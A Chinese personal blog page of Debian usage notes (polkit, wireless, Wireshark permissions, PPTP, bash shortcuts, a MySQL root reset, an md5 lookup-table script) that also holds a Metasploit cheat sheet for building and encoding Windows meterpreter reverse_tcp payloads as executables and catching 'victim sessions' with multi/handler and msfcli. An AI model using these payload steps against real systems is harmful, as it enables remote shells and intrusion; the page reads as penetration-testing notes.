Debian是我日常使用的桌面系统,这里记录了我在使用Debian时所有的问题和解决办法,以及一些其他的心得体会。
向Debian致敬!

找回桌面系统关机按钮
在/etc/polkit-1/localauthority/50-local.d/新建文件50-admin.pkla,写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
[disable suspend]   
Identity=unix-user:*
Action=org.freedesktop.upower.suspend
ResultAny=no
ResultInactive=no
ResultActive=no
[disable hibernate]
Identity=unix-user:*
Action=org.freedesktop.upower.hibernate
ResultAny=no
ResultInactive=no
ResultActive=no

无线不能使用的解决方法

安装rfkill工具

1
#apt-get install rfkill 

then:

1
#rfkill list all 

查看网卡设备的状态如下

1
2
3
4
5
6
0: dell-wlan: Wireless LAN   
Soft blocked: no
Hard blocked: no
1: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no

根据软件或者硬件的状态解锁

wireshark普通用户权限

1
2
3
4
5
6
$ sudo groupadd wireshark 
$ sudo usermod -a -G wireshark YOUR_USER_NAME
$ sudo chgrp wireshark /usr/bin/dumpcap
$ sudo chmod 750 /usr/bin/dumpcap
$ sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
$ sudo getcap /usr/bin/dumpcap

Adobe flash player的正确安装姿势
首先下载flash player,保存为flash.tar.gz
then:

1
2
3
tar -zxvf flash.tar.gz
mv usr/* /usr/
mv libflashplayer.so /usr/lib/mozilla/plugins/

重启浏览器即可

解决Debian8 pptp不能连接的问题
报错内容:(/var/log/syslog)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: pppd started with pid 14188
Sep 15 14:58:21 debian pppd[14188]: Plugin /usr/lib/pppd/2.4.6/nm-pptp-pppd-plugin.so loaded.
Sep 15 14:58:21 debian NetworkManager[13550]: Plugin /usr/lib/pppd/2.4.6/nm-pptp-pppd-plugin.so loaded.
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (plugin_init): initializing
Sep 15 14:58:21 debian pppd[14188]: pppd 2.4.6 started by root, uid 0
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 3 / phase 'serial connection'
Sep 15 14:58:21 debian pppd[14188]: Using interface ppp0
Sep 15 14:58:21 debian pppd[14188]: Connect: ppp0 <--> /dev/pts/0
Sep 15 14:58:21 debian NetworkManager[13550]: Using interface ppp0
Sep 15 14:58:21 debian NetworkManager[13550]: Connect: ppp0 <--> /dev/pts/0
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 5 / phase 'establish'
Sep 15 14:58:21 debian NetworkManager[13550]: <info> (ppp0): new Generic device (driver: 'unknown' ifindex: 57)
Sep 15 14:58:21 debian NetworkManager[13550]: <info> (ppp0): exported as /org/freedesktop/NetworkManager/Devices/15
Sep 15 14:58:21 debian NetworkManager[13550]: <info> devices added (path: /sys/devices/virtual/net/ppp0, iface: ppp0)
Sep 15 14:58:21 debian NetworkManager[13550]: <info> device added (path: /sys/devices/virtual/net/ppp0, iface: ppp0): no ifupdown configuration found.
Sep 15 14:58:52 debian pppd[14188]: LCP: timeout sending Config-Requests
Sep 15 14:58:52 debian pppd[14188]: Connection terminated.
Sep 15 14:58:52 debian avahi-daemon[588]: Withdrawing workstation service for ppp0.
Sep 15 14:58:52 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 11 / phase 'disconnect'
Sep 15 14:58:52 debian NetworkManager[13550]: <info> devices removed (path: /sys/devices/virtual/net/ppp0, iface: ppp0)
Sep 15 14:58:52 debian pptp[14193]: nm-pptp-service-14185 warn[decaps_hdlc:pptp_gre.c:216]: pppd may have shutdown, see pppd log
Sep 15 14:58:52 debian pppd[14188]: Modem hangup
Sep 15 14:58:52 debian pppd[14188]: Exit.
Sep 15 14:58:52 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 1 / phase 'dead'
Sep 15 14:58:52 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_exit_notify): cleaning up
Sep 15 14:58:52 debian NetworkManager[13550]: ** (nm-pptp-service:14185): WARNING **: pppd exited with error code 16

依次输入如下命令:

1
2
3
modprobe nf_nat_pptp
modprobe nf_conntrack_pptp
modprobe nf_conntrack_proto_gre

下次启动还会失效,所以要编辑/etc/modules-load.d/modules.conf文件,添加如下三行:

1
2
3
nf_nat_pptp
nf_conntrack_pptp
nf_conntrack_proto_gre

正确安装ruby RVM的方法

1
curl -sSL https://get.rvm.io | bash -s stable

编辑命令
Ctrl + a :移到命令行首
Ctrl + e :移到命令行尾
Ctrl + f :按字符前移(右向)
Ctrl + b :按字符后移(左向)
Alt + f :按单词前移(右向)
Alt + b :按单词后移(左向)
Ctrl + xx:在命令行首和光标之间移动
Ctrl + u :从光标处删除至命令行首
Ctrl + k :从光标处删除至命令行尾
Ctrl + w :从光标处删除至字首
Alt + d :从光标处删除至字尾
Ctrl + d :删除光标处的字符
Ctrl + h :删除光标前的字符
Ctrl + y :粘贴至光标后
Alt + c :从光标处更改为首字母大写的单词
Alt + u :从光标处更改为全部大写的单词
Alt + l :从光标处更改为全部小写的单词
Ctrl + t :交换光标处和之前的字符
Alt + t :交换光标处和之前的单词
Alt + Backspace:与 Ctrl + w 类似 重新执行命令
Ctrl + r:逆向搜索命令历史
Ctrl + g:从历史搜索模式退出
Ctrl + p:历史中的上一条命令
Ctrl + n:历史中的下一条命令
Alt + .:使用上一条命令的最后一个参数 控制命令
Ctrl + l:清屏
Ctrl + o:执行当前命令,并选择上一条命令
Ctrl + s:阻止屏幕输出
Ctrl + q:允许屏幕输出
Ctrl + c:终止命令
Ctrl + z:挂起命令 Bang (!)命令
!!:执行上一条命令
!blah:执行最近的以 blah 开头的命令,如 !ls
!blah:p:仅打印输出,而不执行
!$:上一条命令的最后一个参数,与 Alt + . 相同
!$:p:打印输出 !$ 的内容
!:上一条命令的所有参数
!
:p:打印输出 !* 的内容
^blah:删除上一条命令中的 blah
^blah^foo:将上一条命令中的 blah 替换为 foo
^blah^foo^:将上一条命令中所有的 blah 都替换为 foo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash   
user=root
pwd=password
DB=test
TABLE=md5
mysql -u$user -p$pwd -e "USE $DB;CREATE TABLE $TABLE(id int not null primary key auto_increment,md5 text(32),plain varchar(100));"
while read line
do
md5=`echo $linemd5sumawk -F " " '{print $1}'`
#plain=$line
mysql -u$user -p$pwd -e "USE $DB;INSERT $TABLE (md5,plain) VALUES('$md5','$line');"
done < plaindic

#mysql -u$user -p$pwd -e "USE $DB;SELECT * FROM md5;"

刚装完的mysql数据库出现了如下错误:
ERROR 1045 (28000): Access denied for user ‘root‘@’localhost’ (using password: NO)
参考了这篇博文:
http://www.cnblogs.com/khler/archive/2011/02/10/1950819.html
用下面的语句解决了问题

1
2
3
4
5
6
7
8
/etc/init.d/mysql stop 
mysqld_safe --skip-grant-tables&
mysql --user=root mysql
mysql>update user set Password=PASSWORD('new-password');
mysql>flush privileges;
mysql>exit;
killall mysqld_safe&
/etc/init.d/mysql start

封装攻击载荷

msfpayload:

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msfpayload [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>

Summary:summary and optons of payload

C:C language

Perl:Perl

Ruby:Ruby

Raw:Raw,allows payload to be piped into msfencode and other tools

Js:JavaScript

eXe:windows executable

Dll:Dll

Vba:VBA

War:war package

example:

msfpayload -l | grep windows | grep reverse_tcp | grep meterpreter

msfpayload windows/meterpreter/reverse_tcp O:show options

msfpayload [payload] X >xx.exe

攻击载荷编码

msfencode:

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
msfencode <options>

OPTIONS:

-a <opt> The architecture to encode as:哪种体系结构编码

-b <opt> The list of characters to avoid: '\x00\xff':指定要避免的字符

-c <opt> The number of times to encode the data:编码数据的次数

-d <opt> Specify the directory in which to look for EXE templates:指定搜索exe模板的目录

-e <opt> The encoder to use:使用的编码器

-h Help banner:帮助标题

-i <opt> Encode the contents of the supplied file path:为提供的文件内容编码

-k Keep template working; run payload in new thread (use with -x):让模板继续工作;即让载荷在新线程中运行

-l List available encoders:列出可用的编码器

-m <opt> Specifies an additional module search path:制定一个额外的模板搜索路径

-n Dump encoder information:输出编码器信息

-o <opt> The output file:输出文件

-p <opt> The platform to encode for:要编码的平台

-s <opt> The maximum size of the encoded data:编码后的最大字节数

-t <opt> The output format:输出格式 bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war

-v Increase verbosity:增加冗长

-x <opt> Specify an alternate executable template:指定一个备用的可执行文件模板

受害会话接收

1
2
3
4
5
6
7
8
9
10
11
msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST x.x.x.x LPORT xxxx

msf exploit(handler) > exploit

[*] Started reverse handler on x.x.x.x:xxxx

[*] Starting the payload handler...

也可以不打开msfconsole,用msfcli

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msfcli <exploit_name> <option=value> [mode]

Mode Description

---- -----------

(A)dvanced Show available advanced options for this module显示这个模块可用的高级选项

(AC)tions Show available actions for this auxiliary module显示辅助模块的可用行为

(C)heck Run the check routine of the selected module为所选模块检查运行历程

(E)xecute Execute the selected module执行所选模块

(H)elp You're looking at it baby!么么大

(I)DS Evasion Show available ids evasion options for this module

(O)ptions Show available options for this module

(P)ayloads Show available payloads for this module

(S)ummary Show information about this module

(T)argets Show available targets for this exploit module

Examples:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E

msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=6555 E

guest@universe: ~$whoami && whereis who && find / home

0x00 关于我

很宅很宅的一枚宅男。爱好一切。

0x02 关于chorder.net

2012年3月12
搭建第一处个人站点chorder.xp3.biz,使用免费域名+免费空间
2013年
购买域名chorder.org,基于wordpress发布第一个博客站点。
2014年
chorder.org域名到期,没有继续维护
同时参与团队博客建设,维护chorder.wpsec.org
2015年初
申请域名chorder.net
并启用搬瓦工VPS,使用静态页面,定期POST文章
2015年中
使用github.io维护静态博客页面
2015年末
使用redhat公有云至今,并决定长期维护本站点。
2016年3月11日
重新迁回搬瓦工,启用https,证书颁发机构为StartCom Ltd.(https://www.startssl.com/)

0x03 在技术方面的座右铭
Talking is cheap,show me your code.

0x04 联系方式

Email: ruby -r 'base64' -e 'puts Base64.decode64("Y2hvcmRlckBjaG9yZGVyLm5ldA==")'

Powerd By Chorder
Since 2012

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×